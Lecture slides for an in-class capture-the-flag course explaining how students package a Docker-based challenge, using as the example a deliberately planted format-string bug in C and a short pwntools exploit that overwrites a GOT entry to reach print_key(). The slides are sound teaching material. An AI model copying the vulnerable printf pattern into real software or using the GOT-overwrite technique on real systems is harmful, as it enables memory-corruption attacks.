Introduction to in-class CTF

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Today's lecture

• Understand CTF 😳

Overview

- CTF Schedule: 12/21 (Sat) 9am 4pm!
 - 6 hours: Challenge solving
 - 1 hour: Presentation
 - Lunch (pizza) will be provided
- # of problems >= 8
 - 8 from students
 - ??? from us
- Challenge writing: As a solo
- Challenge solving: As a solo

Make a problem

- One team needs to prepare one challenge
- No challenge -> F as announced
- Deadline: Dec 12nd (Fri)
- Prepare a short presentation for the challenge
 - After CTF, one of your team members should present

Restrictions for a challenge

- Run on Linux with Docker
- Need to be remote challenge
- Need to submit a solution that achieves flag
- Key format: is521{[^\]+)

Grading

- Solving other challenges: 70%
- Challenge writing: 30%
 - Peer review (50%)
 - Review by us (50%)



CTF winner: ₩ 30,000 Baemin gift card for each member

How to write a challenge

- 1) Update NAME \rightarrow Team/Challenge Name
- 2) Write your challenge + exploit in /source
- 3) Write your environment with docker in /docker (+ flag)
- 4) Include your files to release in /release

Structure

all files to run your service

/docker/Dockerfile : Dockerfile /target : target bin /flag : flag: is521{please submit this flag!} /service.conf : xinetd

all files to be released to participants

/release/README : guideline
 /target : bin if you want to release

source/exploit for your team and organizer

/source/test.sh : build docker, run, run exploit.py and print out flag /exploit.py : exploit /writeup.txt : solution /src/ : source code

Docker

• Platform for OS-level virtualization (i.e., containerization)



- Can package an application + its dependencies
- within Dockerfile!
 - For more information: https://docs.docker.com/get-started/
- Template: <u>https://teemo.kaist.ac.kr/is521/2024/_static/ctf-template.zip</u>

/docker/Dockerfile

FROM ubuntu:20.04

RUN adduser --disabled-password -gecos '' ctf

enable 32-bit support

RUN dpkg --add-architecture i386
RUN apt update && apt install
-y libc6:i386 libstdc++6:i386

install packages
RUN apt install -y xinetd

copy service/flag files COPY service.conf /service.conf COPY flag /flag COPY target /target

make the flag readonly
RUN chmod a-w flag

run xinetd
CMD ["/usr/sbin/xinetd", "-dontfork",
"-f", "/service.conf"]

/docker

\$ cat docker/flag is521{still? be mindful of fmtstr bugs!}

\$ cat docker/service.conf
service service

```
socket_type = stream
protocol = tcp
wait = no
user = ctf
bind = 0.0.0.0
server = /target
port = 9999
type = UNLISTED
```

/source/src

- The source code of the challenge
 - its source (e.g., `fmtstr.c`)
 - makefile (`Makefile`).
- The makefile includes various defense options you can enable (e.g., `CFLAGS += -fstack-protector`).
- Please carefully enable them as you'd like for your challenge.

/source/writeup.txt

```
* Bug: a fmtstr vulnerability
    char msg[100];
    snprintf(msg, sizeof(msg), "Invalid Password! %
    s\n", buf);
    printf(msg);
```

* Exploit

overwrite 'secret' with any value
 overwrite the GOT of puts() to print_key()

/source/exploit.py

. . .

```
def exploit(p):
    writes = {0x804a04c: 0xc0ffee, 0x804a02c: 0x080486f6}
    payload = "BB" + fmtstr_payload(15, writes, 20, write_size="short")
    print("sizeof(payload) = %d" % len(payload))
    p.sendline(payload)
    return p.readall()
```

/release

\$ cat README

Ops, I didn't realize that there is security implication of using a benign-looking function, printf()! Please hijack its control flow to print_key().

* Refs

- https://crypto.stanford.edu/cs155/papers/formatstring-1.2.pdf

\$ ls target
target

`make test`

\$ make test [!] launching a docker container [!] waiting .. [+] Opening connection to localhost on port 9011: Done sizeof(payload) = 66 [+] Receiving all data: Done (320.28KB) [*] Closed connection to localhost port 9011 is521{still? be mindful of fmtstr bugs!}

Checklist for submission

- 1) /NAME: Team/challenge name
- 2) /release/README: Description about the challenge
- 3) /docker/flag: Flag!
- 4) /source/writeup.txt: Your description on the challenge and solution
- 5) /source/exploit.py: Your _working_ exploit
- 6) Triple check `make test` reliably executes!

Please `make submit` and submit your file (e.g., `staff:fmtstr.zip`)